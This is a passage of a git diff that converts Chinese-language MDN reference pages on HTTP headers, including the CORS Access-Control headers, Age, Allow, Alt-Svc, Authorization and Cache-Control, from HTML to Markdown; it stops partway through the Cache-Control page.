    • {{HTTPHeader("Access-Control-Allow-Origin")}}
    • -
    • {{HTTPHeader("Access-Control-Expose-Headers")}}
    • -
    • {{HTTPHeader("Access-Control-Allow-Methods")}}
    • -
    • {{HTTPHeader("Access-Control-Request-Headers")}}
    • -
    +## 相关内容 + +- {{HTTPHeader("Access-Control-Allow-Origin")}} +- {{HTTPHeader("Access-Control-Expose-Headers")}} +- {{HTTPHeader("Access-Control-Allow-Methods")}} +- {{HTTPHeader("Access-Control-Request-Headers")}} diff --git a/files/zh-cn/web/http/headers/access-control-allow-methods/index.md b/files/zh-cn/web/http/headers/access-control-allow-methods/index.md index 6c5a636feba98a..79f7a7ac4e0add 100644 --- a/files/zh-cn/web/http/headers/access-control-allow-methods/index.md +++ b/files/zh-cn/web/http/headers/access-control-allow-methods/index.md @@ -6,64 +6,50 @@ tags: - 首部 translation_of: Web/HTTP/Headers/Access-Control-Allow-Methods --- -

    {{HTTPSidebar}}

    +{{HTTPSidebar}} -

    响应首部 Access-Control-Allow-Methods 在对 {{glossary("preflight request")}}.(预检请求)的应答中明确了客户端所要访问的资源允许使用的方法或方法列表。

    +响应首部 **`Access-Control-Allow-Methods`** 在对 {{glossary("preflight request")}}.(预检请求)的应答中明确了客户端所要访问的资源允许使用的方法或方法列表。 - - - - - - - - - - - -
    报头类型{{Glossary("Response header")}}
    {{Glossary("Forbidden header name")}}no
    +| 报头类型 | {{Glossary("Response header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | -

    语法

    +## 语法 -
    Access-Control-Allow-Methods: <method>, <method>, ...
    -
    +```plain +Access-Control-Allow-Methods: , , ... +``` -

    指令

    +## 指令 -
    -
    <method>
    -
    用逗号隔开的允许使用的 HTTP request methods 列表。
    -
    +- \ + - : 用逗号隔开的允许使用的 [HTTP request methods](/zh-CN/docs/Web/HTTP/Methods) 列表。 -

    例子

    +## 例子 -
    Access-Control-Allow-Methods: POST, GET, OPTIONS
    +```plain +Access-Control-Allow-Methods: POST, GET, OPTIONS +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    兼容性注解

    +## 兼容性注解 -
      -
    • 最新规范中提到的通配符值 (*) 尚未在以下浏览器中实现: - -
    • -
    +- 最新规范中提到的通配符值 (\*) 尚未在以下浏览器中实现: -

    查看更多

    + - Chromium: [Issue 615313](https://bugs.chromium.org/p/chromium/issues/detail?id=615313) + - Firefox: {{bug(1309358)}} + - Servo: [Issue 13283](https://github.com/servo/servo/issues/13283) -
      -
    • {{HTTPHeader("Access-Control-Allow-Origin")}}
    • -
    • {{HTTPHeader("Access-Control-Expose-Headers")}}
    • -
    • {{HTTPHeader("Access-Control-Allow-Headers")}}
    • -
    • {{HTTPHeader("Access-Control-Request-Method")}}
    • -
    +## 查看更多 + +- {{HTTPHeader("Access-Control-Allow-Origin")}} +- {{HTTPHeader("Access-Control-Expose-Headers")}} +- {{HTTPHeader("Access-Control-Allow-Headers")}} +- {{HTTPHeader("Access-Control-Request-Method")}} diff --git a/files/zh-cn/web/http/headers/access-control-allow-origin/index.md b/files/zh-cn/web/http/headers/access-control-allow-origin/index.md index f15837eb16ee3d..5b801248141b8b 100644 --- a/files/zh-cn/web/http/headers/access-control-allow-origin/index.md +++ b/files/zh-cn/web/http/headers/access-control-allow-origin/index.md @@ -3,66 +3,58 @@ title: Access-Control-Allow-Origin slug: Web/HTTP/Headers/Access-Control-Allow-Origin translation_of: Web/HTTP/Headers/Access-Control-Allow-Origin --- -
    Access-Control-Allow-Origin 响应头指定了该响应的资源是否被允许与给定的{{glossary("origin")}}共享。
    +**`Access-Control-Allow-Origin`** 响应头指定了该响应的资源是否被允许与给定的{{glossary("origin")}}共享。 -
    +| Header type | {{Glossary("Response header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | - - - - - - - - - - - -
    Header type{{Glossary("Response header")}}
    {{Glossary("Forbidden header name")}}no
    +## 语法 -

    语法

    +```plain +Access-Control-Allow-Origin: * +Access-Control-Allow-Origin: +``` -
    Access-Control-Allow-Origin: *
    -Access-Control-Allow-Origin: <origin>
    -
    +## 指令 -

    指令

    +- \* + - : 对于不需具备凭证(credentials)的请求,服务器会以“`*`”作为通配符,从而允许所有域都具有访问资源的权限。 +- \ + - : 指定一个可以访问资源的 URI。 -
    -
    *
    -
    对于不需具备凭证(credentials)的请求,服务器会以“*”作为通配符,从而允许所有域都具有访问资源的权限。
    -
    <origin>
    -
    指定一个可以访问资源的 URI。
    -
    +## 示例 -

    示例

    +如需允许所有资源都可以访问`您`的资源,您可以如此设置: -

    如需允许所有资源都可以访问的资源,您可以如此设置:

    +```plain +Access-Control-Allow-Origin: * +``` -
    Access-Control-Allow-Origin: *
    +如需允许`https://developer.mozilla.org`访问您的资源,您可以设置: -

    如需允许https://developer.mozilla.org访问您的资源,您可以设置:

    +```plain +Access-Control-Allow-Origin: https://developer.mozilla.org +``` -
    Access-Control-Allow-Origin: https://developer.mozilla.org
    +### CORS 和缓存 -

    CORS 和缓存

    +如果服务器未使用“`*`”,而是指定了一个域,那么为了向客户端表明服务器的返回会根据`Origin`请求头而有所不同,必须在{{HTTPHeader("Vary")}}响应头中包含`Origin`。 -

    如果服务器未使用“*”,而是指定了一个域,那么为了向客户端表明服务器的返回会根据Origin请求头而有所不同,必须在{{HTTPHeader("Vary")}}响应头中包含Origin

    +```plain +Access-Control-Allow-Origin: https://developer.mozilla.org +Vary: Origin +``` -
    Access-Control-Allow-Origin: https://developer.mozilla.org
    -Vary: Origin
    - -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    参见

    +## 参见 -
      -
    • {{HTTPHeader("Origin")}}
    • -
    • {{HTTPHeader("Vary")}}
    • -
    +- {{HTTPHeader("Origin")}} +- {{HTTPHeader("Vary")}} diff --git a/files/zh-cn/web/http/headers/access-control-expose-headers/index.md b/files/zh-cn/web/http/headers/access-control-expose-headers/index.md index 2dd013eb195aff..f98c625b18374d 100644 --- a/files/zh-cn/web/http/headers/access-control-expose-headers/index.md +++ b/files/zh-cn/web/http/headers/access-control-expose-headers/index.md @@ -6,82 +6,68 @@ tags: - 首部 translation_of: Web/HTTP/Headers/Access-Control-Expose-Headers --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    响应首部 Access-Control-Expose-Headers 列出了哪些首部可以作为响应的一部分暴露给外部。

    +响应首部 **`Access-Control-Expose-Headers`** 列出了哪些首部可以作为响应的一部分暴露给外部。 -

    默认情况下,只有七种 {{Glossary("Simple response header", "simple response headers")}}(简单响应首部)可以暴露给外部:

    +默认情况下,只有七种 {{Glossary("Simple response header", "simple response headers")}}(简单响应首部)可以暴露给外部: -
      -
    • {{HTTPHeader("Cache-Control")}}
    • -
    • {{HTTPHeader("Content-Language")}}
    • -
    • {{HTTPHeader("Content-Length")}}
    • -
    • {{HTTPHeader("Content-Type")}}
    • -
    • {{HTTPHeader("Expires")}}
    • -
    • {{HTTPHeader("Last-Modified")}}
    • -
    • {{HTTPHeader("Pragma")}}
    • -
    +- {{HTTPHeader("Cache-Control")}} +- {{HTTPHeader("Content-Language")}} +- {{HTTPHeader("Content-Length")}} +- {{HTTPHeader("Content-Type")}} +- {{HTTPHeader("Expires")}} +- {{HTTPHeader("Last-Modified")}} +- {{HTTPHeader("Pragma")}} -

    如果想要让客户端可以访问到其他的首部信息,可以将它们在 Access-Control-Expose-Headers 里面列出来。

    +如果想要让客户端可以访问到其他的首部信息,可以将它们在 `Access-Control-Expose-Headers` 里面列出来。 - - - - - - - - - - - -
    Header type{{Glossary("Response header")}}
    {{Glossary("Forbidden header name")}}no
    +| Header type | {{Glossary("Response header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | -

    语法

    +## 语法 -
    Access-Control-Expose-Headers: <header-name>, <header-name>, ...
    -
    +```plain +Access-Control-Expose-Headers: , , ... +``` -

    指令

    +## 指令 -
    -
    <header-name>
    -
    包含 0 个或多个除 {{Glossary("Simple response header", "simple response headers")}}(简单响应首部)之外的首部名称列表,可以暴露给外部,供页面资源使用。
    -
    +- \ + - : 包含 0 个或多个除 {{Glossary("Simple response header", "simple response headers")}}(简单响应首部)之外的[首部名称](/zh-CN/docs/Web/HTTP/Headers)列表,可以暴露给外部,供页面资源使用。 -

    示例

    +## 示例 -

    想要暴露一个非简单响应首部,可以这样指定:

    +想要暴露一个非简单响应首部,可以这样指定: -
    Access-Control-Expose-Headers: Content-Length
    +```plain +Access-Control-Expose-Headers: Content-Length +``` -

    想要额外暴露自定义的首部,例如 X-Kuma-Revision,可以指定多个,用逗号隔开:

    +想要额外暴露自定义的首部,例如 `X-Kuma-Revision`,可以指定多个,用逗号隔开: -
    Access-Control-Expose-Headers: Content-Length, X-Kuma-Revision
    +```plain +Access-Control-Expose-Headers: Content-Length, X-Kuma-Revision +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    关于兼容性的注意事项

    +## 关于兼容性的注意事项 -
      -
    • 在最新规范中提出的通配符 (*),尚未被如下浏览器实现: - -
    • -
    +- 在最新规范中提出的通配符 (\*),尚未被如下浏览器实现: -

    相关内容

    + - Chromium: [Issue 615313](https://bugs.chromium.org/p/chromium/issues/detail?id=615313) + - Firefox: {{bug(1309358)}} + - Servo: [Issue 13283](https://github.com/servo/servo/issues/13283) -
      -
    • {{HTTPHeader("Access-Control-Allow-Headers")}}
    • -
    • {{HTTPHeader("Access-Control-Allow-Origin")}}
    • -
    +## 相关内容 + +- {{HTTPHeader("Access-Control-Allow-Headers")}} +- {{HTTPHeader("Access-Control-Allow-Origin")}} diff --git a/files/zh-cn/web/http/headers/access-control-max-age/index.md b/files/zh-cn/web/http/headers/access-control-max-age/index.md index 5fc5679db6c061..330bc3a66eea4e 100644 --- a/files/zh-cn/web/http/headers/access-control-max-age/index.md +++ b/files/zh-cn/web/http/headers/access-control-max-age/index.md @@ -7,57 +7,47 @@ tags: - 首部 translation_of: Web/HTTP/Headers/Access-Control-Max-Age --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    The Access-Control-Max-Age 这个响应头表示 {{glossary("preflight request")}} (预检请求)的返回结果(即 {{HTTPHeader("Access-Control-Allow-Methods")}} 和{{HTTPHeader("Access-Control-Allow-Headers")}} 提供的信息) 可以被缓存多久。

    +The **`Access-Control-Max-Age`** 这个响应头表示 {{glossary("preflight request")}} (预检请求)的返回结果(即 {{HTTPHeader("Access-Control-Allow-Methods")}} 和{{HTTPHeader("Access-Control-Allow-Headers")}} 提供的信息) 可以被缓存多久。 - - - - - - - - - - - -
    报头类型{{Glossary("Response header")}}
    {{Glossary("Forbidden header name")}}no
    +| 报头类型 | {{Glossary("Response header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | -

    语法

    +## 语法 -
    Access-Control-Max-Age: <delta-seconds>
    -
    +```plain +Access-Control-Max-Age: +``` -

    指令

    +## 指令 -
    -
    <delta-seconds>
    -
    返回结果可以被缓存的最长时间(秒)。
    - 在 Firefox 中,上限是 24 小时 (即 86400 秒)。
    - 在 Chromium v76 之前, 上限是 10 分钟(即 600 秒)。
    - 从 Chromium v76 开始,上限是 2 小时(即 7200 秒)。
    - Chromium 同时规定了一个默认值 5 秒。
    - 如果值为 -1,表示禁用缓存,则每次请求前都需要使用 OPTIONS 预检请求。
    -
    +- \ + - : 返回结果可以被缓存的最长时间(秒)。 + 在 Firefox 中,[上限是 24 小时](https://dxr.mozilla.org/mozilla-central/rev/7ae377917236b7e6111146aa9fb4c073c0efc7f4/netwerk/protocol/http/nsCORSListenerProxy.cpp#1131) (即 86400 秒)。 + 在 Chromium v76 之前, [上限是 10 分钟](https://cs.chromium.org/chromium/src/services/network/public/cpp/cors/preflight_result.cc?l=36&rcl=52002151773d8cd9ffc5f557cd7cc880fddcae3e)(即 600 秒)。 + 从 Chromium v76 开始,[上限是 2 小时](https://cs.chromium.org/chromium/src/services/network/public/cpp/cors/preflight_result.cc?l=31&rcl=49e7c0b4886cac1f3d09dc046bd528c9c811a0fa)(即 7200 秒)。 + Chromium 同时规定了一个默认值 5 秒。 + 如果值为 **-1**,表示禁用缓存,则每次请求前都需要使用 OPTIONS 预检请求。 -

    示例

    +## 示例 -

    将预检请求的结果缓存 10 分钟:

    +将预检请求的结果缓存 10 分钟: -
    Access-Control-Max-Age: 600 
    +```plain +Access-Control-Max-Age: 600 +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    相关内容

    +## 相关内容 -
      -
    • {{HTTPHeader("Access-Control-Allow-Headers")}}
    • -
    • {{HTTPHeader("Access-Control-Allow-Methods")}}
    • -
    +- {{HTTPHeader("Access-Control-Allow-Headers")}} +- {{HTTPHeader("Access-Control-Allow-Methods")}} diff --git a/files/zh-cn/web/http/headers/access-control-request-headers/index.md b/files/zh-cn/web/http/headers/access-control-request-headers/index.md index cf4fea90087d54..ecb367fc8f2735 100644 --- a/files/zh-cn/web/http/headers/access-control-request-headers/index.md +++ b/files/zh-cn/web/http/headers/access-control-request-headers/index.md @@ -5,49 +5,39 @@ tags: - 跨域资源共享 translation_of: Web/HTTP/Headers/Access-Control-Request-Headers --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    请求头 Access-Control-Request-Headers 出现于 {{glossary("preflight request")}}(预检请求)中,用于通知服务器在真正的请求中会采用哪些请求头。

    +请求头 **`Access-Control-Request-Headers `**出现于 {{glossary("preflight request")}}(预检请求)中,用于通知服务器在真正的请求中会采用哪些请求头。 - - - - - - - - - - - -
    报头类型{{Glossary("Request header")}}
    {{Glossary("Forbidden header name")}}yes
    +| 报头类型 | {{Glossary("Request header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | yes | -

    语法

    +## 语法 -
    Access-Control-Request-Headers: <header-name>, <header-name>, ...
    -
    +```plain +Access-Control-Request-Headers: , , ... +``` -

    指令

    +## 指令 -
    -
    <header-name>
    -
    在实际请求中将要包含的一系列 HTTP 头,以逗号分隔。
    -
    +- \ + - : 在实际请求中将要包含的一系列 [HTTP ](/zh-CN/docs/Web/HTTP/Headers)头,以逗号分隔。 -

    示例

    +## 示例 -
    Access-Control-Request-Headers: X-PINGOTHER, Content-Type
    +```plain +Access-Control-Request-Headers: X-PINGOTHER, Content-Type +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    相关内容

    +## 相关内容 -
      -
    • {{HTTPHeader("Access-Control-Request-Method")}}
    • -
    +- {{HTTPHeader("Access-Control-Request-Method")}} diff --git a/files/zh-cn/web/http/headers/access-control-request-method/index.md b/files/zh-cn/web/http/headers/access-control-request-method/index.md index fcab3819b69921..9500fee36cce81 100644 --- a/files/zh-cn/web/http/headers/access-control-request-method/index.md +++ b/files/zh-cn/web/http/headers/access-control-request-method/index.md @@ -6,49 +6,37 @@ tags: - 跨域资源共享 translation_of: Web/HTTP/Headers/Access-Control-Request-Method --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}}请求头 **`Access-Control-Request-Method `**出现于 {{glossary("preflight request")}}(预检请求)中,用于通知服务器在真正的请求中会采用哪种 [HTTP 方法](/zh-CN/docs/Web/HTTP/Methods)。因为预检请求所使用的方法总是 {{HTTPMethod("OPTIONS")}} ,与实际请求所使用的方法不一样,所以这个请求头是必要的。 -
    请求头 Access-Control-Request-Method 出现于 {{glossary("preflight request")}}(预检请求)中,用于通知服务器在真正的请求中会采用哪种 HTTP 方法。因为预检请求所使用的方法总是 {{HTTPMethod("OPTIONS")}} ,与实际请求所使用的方法不一样,所以这个请求头是必要的。
    +| Header type | {{Glossary("Request header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | yes | - - - - - - - - - - - -
    Header type{{Glossary("Request header")}}
    {{Glossary("Forbidden header name")}}yes
    +## 语法 -

    语法

    +```plain +Access-Control-Request-Method: +``` -
    Access-Control-Request-Method: <method>
    -
    +## 指令 -

    指令

    +- \ + - : 一种 [HTTP 请求方法 ](/zh-CN/docs/Web/HTTP/Methods), 例如 {{HTTPMethod("GET")}}、{{HTTPMethod("POST")}} 或 {{HTTPMethod("DELETE")}}。 -
    -
    <method>
    -
    一种 HTTP 请求方法 , 例如 {{HTTPMethod("GET")}}、{{HTTPMethod("POST")}} 或 {{HTTPMethod("DELETE")}}。
    -
    +## 示例 -

    示例

    +```plain +Access-Control-Request-Method: POST +``` -
    Access-Control-Request-Method: POST
    - -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    相关内容

    +## 相关内容 -
      -
    • {{HTTPHeader("Access-Control-Request-Headers")}}
    • -
    +- {{HTTPHeader("Access-Control-Request-Headers")}} diff --git a/files/zh-cn/web/http/headers/age/index.md b/files/zh-cn/web/http/headers/age/index.md index 04fce23ee533cf..18a8eaf1754f27 100644 --- a/files/zh-cn/web/http/headers/age/index.md +++ b/files/zh-cn/web/http/headers/age/index.md @@ -7,54 +7,42 @@ tags: - 首部 translation_of: Web/HTTP/Headers/Age --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    Age 消息头里包含对象在缓存代理中存贮的时长,以秒为单位。.

    +**`Age`** 消息头里包含对象在缓存代理中存贮的时长,以秒为单位。. -

    Age 的值通常接近于 0。表示此对象刚刚从原始服务器获取不久;其他的值则是表示代理服务器当前的系统时间与此应答中的通用头 {{HTTPHeader("Date")}} 的值之差。

    +Age 的值通常接近于 0。表示此对象刚刚从原始服务器获取不久;其他的值则是表示代理服务器当前的系统时间与此应答中的通用头 {{HTTPHeader("Date")}} 的值之差。 - - - - - - - - - - - -
    报头类型{{Glossary("Response header")}}
    {{Glossary("Forbidden header name")}}no
    +| 报头类型 | {{Glossary("Response header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | -

    语法

    +## 语法 -
    Age: <delta-seconds>
    -
    +```plain +Age: +``` -

    指令

    +## 指令 -
    -
    <delta-seconds>
    -
    -

    一个非负整数,表示对象在缓存代理服务器中存贮的时长,以秒为单位。

    -
    -
    +- \ + - : 一个非负整数,表示对象在缓存代理服务器中存贮的时长,以秒为单位。 -

    示例

    +## 示例 -
    Age: 24
    +```plain +Age: 24 +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    参见

    +## 参见 -
      -
    • {{HTTPHeader("Cache-Control")}}
    • -
    • {{HTTPHeader("Expires")}}
    • -
    +- {{HTTPHeader("Cache-Control")}} +- {{HTTPHeader("Expires")}} diff --git a/files/zh-cn/web/http/headers/allow/index.md b/files/zh-cn/web/http/headers/allow/index.md index 26f85a1c50a308..464fa81438e8ec 100644 --- a/files/zh-cn/web/http/headers/allow/index.md +++ b/files/zh-cn/web/http/headers/allow/index.md @@ -3,48 +3,38 @@ title: Allow slug: Web/HTTP/Headers/Allow translation_of: Web/HTTP/Headers/Allow --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    Allow 首部字段用于枚举资源所支持的 HTTP 方法的集合。

    +**`Allow`** 首部字段用于枚举资源所支持的 HTTP 方法的集合。 -

    若服务器返回状态码 {{HTTPStatus("405")}} Method Not Allowed,则该首部字段亦需要同时返回给客户端。如果 Allow 首部字段的值为空,说明资源不接受使用任何 HTTP 方法的请求。这是可能的,比如服务器需要临时禁止对资源的任何访问。

    +若服务器返回状态码 {{HTTPStatus("405")}} `Method Not Allowed,则该首部字段亦需要同时返回给客户端。如果` `Allow` 首部字段的值为空,说明资源不接受使用任何 HTTP 方法的请求。这是可能的,比如服务器需要临时禁止对资源的任何访问。 - - - - - - - - - - - -
    Header type{{Glossary("Entity header")}}
    {{Glossary("Forbidden header name")}}no
    +| Header type | {{Glossary("Entity header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | -

    语法

    +## 语法 -
    Allow: <http-methods>
    -
    +```plain +Allow: +``` -

    声明

    +## 声明 -
    -
    <http-methods>
    -
    HTTP 请求方法的集合。
    -
    +- \ + - : [HTTP ](/zh-CN/docs/Web/HTTP/Methods)请求方法的集合。 -

    示例

    +## 示例 -
    Allow: GET, POST, HEAD
    +```plain +Allow: GET, POST, HEAD +``` -

    规范

    +## 规范 {{Specifications}} -

    参见

    +## 参见 -
      -
    • {{HTTPStatus("405")}}
    • -
    • {{HTTPHeader("Server")}}
    • -
    +- {{HTTPStatus("405")}} +- {{HTTPHeader("Server")}} diff --git a/files/zh-cn/web/http/headers/alt-svc/index.md b/files/zh-cn/web/http/headers/alt-svc/index.md index 39f50c0eda6f15..d7ea2fe465b71c 100644 --- a/files/zh-cn/web/http/headers/alt-svc/index.md +++ b/files/zh-cn/web/http/headers/alt-svc/index.md @@ -6,36 +6,31 @@ tags: - HTTP Header translation_of: Web/HTTP/Headers/Alt-Svc --- -

    Alt-Svc 全称为“Alternative-Service”,直译为“备选服务”。该头部列举了当前站点备选的访问方式列表。一般用于在提供 “QUIC” 等新兴协议支持的同时,实现向下兼容。

    +**`Alt-Svc`** 全称为“Alternative-Service”,直译为“备选服务”。该头部列举了当前站点备选的访问方式列表。一般用于在提供 “QUIC” 等新兴协议支持的同时,实现向下兼容。 -

    语法

    +## 语法 -
    Alt-Svc: clear
    -Alt-Svc: <service-list>; ma=<max-age>
    -Alt-Svc: <service-list>; ma=<max-age>; persist=1
    -
    +```plain +Alt-Svc: clear +Alt-Svc: ; ma= +Alt-Svc: ; ma=; persist=1 +``` -
    -
    <service-list>
    -
    使用分号隔离的访问方式列表,格式形如:<service-name>="<host-name>:<port-number>"。这里的<service-name>应当是一个有效的 {{Glossary("ALPN")}} 标识符。
    -
    <max-age>{{Optional_Inline}}
    -
    当前访问方式的有效期,超过该时间后,服务端将不保证该访问方式依旧可用,客户端应当重新获取更新后的 Alt-Svc 列表。单位为秒,默认值为 24 小时(86400)。
    -
    persist{{Optional_Inline}}
    -
    可选参数,用于标识当前访问方式在网络环境改变时或者会话间始终保持。
    -
    +- `` + - : 使用分号隔离的访问方式列表,格式形如:`=":"`。这里的``应当是一个有效的 {{Glossary("ALPN")}} 标识符。 +- ``{{Optional_Inline}} + - : 当前访问方式的有效期,超过该时间后,服务端将不保证该访问方式依旧可用,客户端应当重新获取更新后的 Alt-Svc 列表。单位为秒,默认值为 24 小时(86400)。 +- `persist`{{Optional_Inline}} + - : 可选参数,用于标识当前访问方式在网络环境改变时或者会话间始终保持。 -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 +{{Compat}} +## 引用 -

    {{Compat}}

    - -

    引用

    - - +- [Identifying resources on the Web](/zh-CN/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web)\[在 Web 世界标记资源] diff --git a/files/zh-cn/web/http/headers/authorization/index.md b/files/zh-cn/web/http/headers/authorization/index.md index 22b4f200620f16..8e79bcaf9e3727 100644 --- a/files/zh-cn/web/http/headers/authorization/index.md +++ b/files/zh-cn/web/http/headers/authorization/index.md @@ -3,67 +3,51 @@ title: Authorization slug: Web/HTTP/Headers/Authorization translation_of: Web/HTTP/Headers/Authorization --- -
    {{HTTPSidebar}}
    - -

    HTTP 协议中的 Authorization 请求消息头含有服务器用于验证用户代理身份的凭证,通常会在服务器返回{{HTTPStatus("401")}} Unauthorized 状态码以及{{HTTPHeader("WWW-Authenticate")}} 消息头之后在后续请求中发送此消息头。

    - - - - - - - - - - - - -
    Header type{{Glossary("Request header")}}
    {{Glossary("Forbidden header name")}}no
    - -

    语法

    - -
    Authorization: <type> <credentials>
    - -

    指令

    - -
    -
    <type>
    -
    验证类型。 常见的是 "基本验证(Basic)" 。其他类型包括: - -
    -
    <credentials>
    -
    如果使用“基本验证”方案,凭证通过如下步骤生成: -
      -
    • 用冒号将用户名和密码进行拼接(如:aladdin:opensesame)。
    • -
    • 将第一步生成的结果用 base64 方式编码 (YWxhZGRpbjpvcGVuc2VzYW1l)。
    • -
    - -
    -

    注意: Base64 编码并不是一种加密方法或者 hashing 方法!这种方法的安全性与明文发送等同(base64 可以逆向解码)。“基本验证”方案需要与 HTTPS 协议配合使用。

    -
    -
    -
    - -

    示例

    - -
    Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l
    -
    - -

    请参考 HTTP authentication 来获取在 Apache 或 nginx 中使用 HTTP 基本验证方案加密保护站点的配置示例。

    - -

    规范

    +{{HTTPSidebar}} + +HTTP 协议中的 **`Authorization`** 请求消息头含有服务器用于验证用户代理身份的凭证,通常会在服务器返回{{HTTPStatus("401")}} `Unauthorized` 状态码以及{{HTTPHeader("WWW-Authenticate")}} 消息头之后在后续请求中发送此消息头。 + +| Header type | {{Glossary("Request header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | + +## 语法 + +```plain +Authorization: +``` + +## 指令 + +- \ + - : [验证类型](/zh-CN/docs/Web/HTTP/Authentication#Authentication_schemes)。 常见的是 ["基本验证(Basic)"](/zh-CN/docs/Web/HTTP/Authentication#Basic_authentication_scheme) 。其他类型包括: + + - [在 IANA 机构注册的验证方案](http://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml) + - [AWS 服务器的验证方案 (`AWS4-HMAC-SHA256`)](http://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-auth-using-authorization-header.html) +- \ + - : 如果使用“基本验证”方案,凭证通过如下步骤生成: + + - 用冒号将用户名和密码进行拼接(如:aladdin:opensesame)。 + - 将第一步生成的结果用 [base64](/zh-CN/docs/Web/API/WindowBase64/Base64_encoding_and_decoding) 方式编码 (YWxhZGRpbjpvcGVuc2VzYW1l)。 + + > **备注:** Base64 编码并不是一种加密方法或者 hashing 方法!这种方法的安全性与明文发送等同(base64 可以逆向解码)。“基本验证”方案需要与 HTTPS 协议配合使用。 + +## 示例 + +```plain +Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l +``` + +请参考[ HTTP authentication](/zh-CN/docs/Web/HTTP/Authentication) 来获取在 Apache 或 nginx 中使用 HTTP 基本验证方案加密保护站点的配置示例。 + +## 规范 {{Specifications}} -

    参见

    +## 参见 -
      -
    • HTTP authentication
    • -
    • {{HTTPHeader("WWW-Authenticate")}}
    • -
    • {{HTTPHeader("Proxy-Authorization")}}
    • -
    • {{HTTPHeader("Proxy-Authenticate")}}
    • -
    • {{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}}
    • -
    +- [HTTP authentication](/zh-CN/docs/Web/HTTP/Authentication) +- {{HTTPHeader("WWW-Authenticate")}} +- {{HTTPHeader("Proxy-Authorization")}} +- {{HTTPHeader("Proxy-Authenticate")}} +- {{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}} diff --git a/files/zh-cn/web/http/headers/cache-control/index.md b/files/zh-cn/web/http/headers/cache-control/index.md index cb3c64bf7f2b6c..c5b8e9bc25b79e 100644 --- a/files/zh-cn/web/http/headers/cache-control/index.md +++ b/files/zh-cn/web/http/headers/cache-control/index.md @@ -7,168 +7,156 @@ tags: - 请求头 translation_of: Web/HTTP/Headers/Cache-Control --- -
    {{HTTPSidebar}}
    - -

    Cache-Control 通用消息头字段,被用于在 http 请求和响应中,通过指定指令来实现缓存机制。缓存指令是单向的,这意味着在请求中设置的指令,不一定被包含在响应中。

    - - - - - - - - - - - - - - - - -
    Header type {{Glossary("General header")}}
    {{Glossary("Forbidden header name")}}no
    {{Glossary("Simple response header", "CORS-safelisted response-header")}}yes
    - -

    语法

    - -

    指令格式具有以下有效规则:

    - -
      -
    • 不区分大小写,但建议使用小写。
    • -
    • 多个指令以逗号分隔。
    • -
    • 具有可选参数,可以用令牌或者带引号的字符串语法。
    • -
    - -

    缓存请求指令

    - -

    客户端可以在 HTTP 请求中使用的标准 Cache-Control 指令。

    - -
    Cache-Control: max-age=<seconds>
    -Cache-Control: max-stale[=<seconds>]
    -Cache-Control: min-fresh=<seconds>
    +{{HTTPSidebar}}
    +
    +**`Cache-Control`** 通用消息头字段,被用于在 http 请求和响应中,通过指定指令来实现缓存机制。缓存指令是单向的,这意味着在请求中设置的指令,不一定被包含在响应中。
    +
    +| Header type                                                                                      | {{Glossary("General header")}} |
    +| ------------------------------------------------------------------------------------------------ | ---------------------------------------- |
    +| {{Glossary("Forbidden header name")}}                                                 | no                                       |
    +| {{Glossary("Simple response header", "CORS-safelisted response-header")}} | yes                                      |
    +
    +## 语法
    +
    +指令格式具有以下有效规则:
    +
    +- 不区分大小写,但建议使用小写。
    +- 多个指令以逗号分隔。
    +- 具有可选参数,可以用令牌或者带引号的字符串语法。
    +
    +### 缓存请求指令
    +
    +客户端可以在 HTTP 请求中使用的标准 Cache-Control 指令。
    +
    +```plain
    +Cache-Control: max-age=
    +Cache-Control: max-stale[=]
    +Cache-Control: min-fresh=
     Cache-control: no-cache
     Cache-control: no-store
     Cache-control: no-transform
     Cache-control: only-if-cached
    -
    +``` -

    缓存响应指令

    +### 缓存响应指令 -

    服务器可以在响应中使用的标准 Cache-Control 指令。

    +服务器可以在响应中使用的标准 Cache-Control 指令。 -
    Cache-control: must-revalidate
    +```plain
    +Cache-control: must-revalidate
     Cache-control: no-cache
     Cache-control: no-store
     Cache-control: no-transform
     Cache-control: public
     Cache-control: private
